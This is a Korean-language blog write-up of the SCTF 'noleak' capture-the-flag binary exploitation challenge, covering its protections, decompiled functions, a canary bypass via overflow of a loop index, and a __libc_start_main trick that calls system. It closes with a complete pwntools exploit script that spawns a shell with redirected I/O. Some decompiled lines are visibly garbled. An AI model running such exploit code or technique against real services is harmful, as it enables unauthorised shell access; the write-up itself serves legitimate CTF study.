ipwn

[SCTF] noleak 본문

CTF's/SCTF

[SCTF] noleak

ipwn 2019. 3. 8. 01:20

Mitigation


[*] '/home/agh04140/pwn/SCTF/noleak/noleak'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

기본적으로 canary랑 nx랑 partial relro만 걸려있다.

바로 분석을 해보자.


Analyzing


main

void __cdecl __noreturn main()
{
  unsigned int *v0; // rsi
  unsigned int v1; // [rsp+4h] [rbp-2Ch]
  FILE *stream; // [rsp+8h] [rbp-28h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  stream = fopen("/dev/urandom""r");
  if ( !stream )
  {
    puts("cannot open /dev/urandom");
    exit(0);
  }
  v0 = 4;
  fread(&seed, 4uLL, 1uLL, stream);
  fclose(stream);
  puts("making less predictable heap");
  malloc(seed & 0x1FFFF);                       // 0x20000 (최대)
  v1 = 0;
  while ( )
  {
    while ( )
    {
      while ( )
      {
        puts("\n- select menu -");
        puts("1. : leak memory contents");
        puts("2. : leak stack canary");
        puts("3. : start bof");
        puts("4. : exit");
        printf("> ", v0);
        v0 = &v1;
        __isoc99_scanf("%d"&v1);
        getchar();
        if ( v1 != )
          break;
        canary_leak();
      }
      if ( v1 > )
        break;
      if ( v1 != )
        goto LABEL_16;
      leak_memory();
    }
    if ( v1 != )
    {
      if ( v1 == 0xFEEDBEEF )
        system("echo flag");                    // 쓸모 X
LABEL_16:
      exit(0);
    }
    bof();
  }


일단 가장 먼저 system으로 echo flag하는 건 아무 쓸모가 없다. 이 루틴을 넣어 준 이유는 system함수를 자연스럽게? 주기 위한 의도가 아닐까 생각해본다.


그 다음으로 canary_leak함수가 있는데 canary_leak부분은 사실상 쓰레기 함수니까 보지 않도록 하겠다.


leak_memory

void __cdecl leak_memory()
{
  char *s; // ST08_8
 
  puts("give me bytes");
  s = malloc(0xC8uLL);                          // 힙에 메모리 담기
  fgets(s, 0x96, stdin);
  puts("info leak with uninitialized bytes?");
  fwrite(s, 4uLL, 1uLL, _bss_start);
  free(s);
}



이 부분은 heap에 값들을 담아주고 바로 free를 해주는 부분이다.


사실 이 부분에서 어떻게 저 청크를 unsorted bin으로 보내서 libc leak을 하고 libc 내부의 가젯들을 잘 섞어써서 쉘 따는 문제인가 했는데 어떻게 해도 unsorted bin으로 보내지지가 않아서 그건 아니라 판단을 했다.


일단은 heap에 값들을 담는다는 부분에서 킵


bof

void __cdecl bof()
{
  char *v0; // [rsp+8h] [rbp-78h]
  char s[92]; // [rsp+10h] [rbp-70h]
  int v2; // [rsp+6Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  memset(s, 0, 0x64uLL);
  puts("you may start stack BOF but...");
  puts("no memory leak from now!");
  close(1);
  close(2);
  v0 = malloc(0x64uLL);                         // uaf
  fgets(v0, 0x74, stdin);
  while ( v2 <= 0xC7 )                          // 힙 넘어서 복사
  {                                             // oob로 canary 우회 가능
    s[v2] = v0[v2];                             // 이제 익스하면 끝
    ++v2;
  }
  stdin = 0xDEADBEEFLL;
}



이 부분에서 stdout, stderr을 닫고 힙에 stdin으로 값을 담는다.

중요한 부분은 아까 위에 있었던 memory_leak함수에서 할당한 size보다 작은 사이즈를 할당을 하므로 UAF가 발생하게 된다.


그리고 아래의 while문을 돌면서 스택에 힙에 있던 값을 담아주는데 이 함수에서 할당한 0x64 size보다 더 많은양인 0xc7만큼 입력을 받게 되어서 0x27만큼 overflow가 발생하게 된다.


이제 익스 시나리오를 작성해보자.



Scenario


시나리오를 작성하기 전에 얻은 정보들을 확인해보자.


1. bof 함수에서 overflow가 나는데, loop를 돌 때 idx를 체크하는 변수를 덮을 수 있으므로 canary 우회 가능

2. uaf로 원하는 값을 ret 이후에 자유자재로 덮을 수 있음

3. system함수가 있긴 하지만, 힙 릭도 못하고 data영역에 ed, vi, sh같은 명령어들이 쓰여져 있는 것도 아니므로 가젯을 바로 넣어줄 수가 없음.

4. 하지만 fgets함수의 특성상 rsi에 힙 주소가 담기긴 하므로 /bin/sh를 인자에 담을수는 있다.


이렇게 얻은 정보들로 이제 쉘을 획득하면 되는데, 언듯보면 mov rdi, rsi와 유사한 가젯들이 있어야 가능할 것 같지만 사실 바로 가능한 방법이 하나 있다.


바로 __libc_start_main함수를 이용하는 것이다. (사실 이 방법은 이전에 몇 번 생각은 해 봤었는데, 몇 달전 임준오형이 학교에 와서 강연해 준 정보로 사용 방법을 확실히 알았다.)



위 사진을 보면 __libc_start_main함수는 rdi에 main함수를 넣고 rsi에 argc를 넣어주게 된다.


이 말은 즉 rdi에 있는 함수를 rsi, rdx ....~ 라는 인자들로 실행시킨다는 의미가 되는데, 이 점을 통해서 익스를 할 수 있다.


__libc_start_main(system, "/bin/sh;");



위와 같은 형식으로 함수를 실행시켜주면 sysetm("/bin/sh;")가 실행되게 된다는 의미이다.


이 점을 통해서 솔브를 작성하면 될 듯 하다.


다시 시나리오를 짜보자


1. memory_leak함수에서 아다리 잘 맞추고 값 잘 넣어서 페이로드 작성

2. bof함수에서 작성된 페이로드 기입

3. shell!


Exploit



from pwn import *
 
#p = process('./noleak')
= remote('localhost'10000)
= ELF('./noleak')
 
prdi = 0x00400e63
__libc_start_main = 0x400964
 
sla = p.sendlineafter
sa = p.sendafter
 
pay = 'aa/bin/sh >&0 <&1\x00'.ljust(0x5c'A')
pay += '\x77'
pay = pay.ljust(0x78'\x00')
pay += p64(prdi) + p64(e.plt['system'])
pay += p64(__libc_start_main)
sla('> ''1')
sla('bytes', pay)
pause()
sla('> ''3')
sla('now!''a')
 
p.interactive()


아 익스를 하는게 문제점이 하나 있다면 stdout err을 닫았기 때문에 redirection을 해줘야 한다는 점과 바이너리만 익스를 해서는 IO가 제대로 나오지 않는다는 점이다. (리모트로 열어서 따야 함)



지금 돌아보면 다 쉬운 문제였던듯 하지만 또 막상 대회하면 나오던 것들이랑은 다르게 나오겠지.. 스스로 연구하는 힘을 길러야 할듯.

'CTF's > SCTF' 카테고리의 다른 글

[SCTF] catch_the_bug (exit 내부 루틴으로 exploit 하기)  (0) 2019.03.06
Comments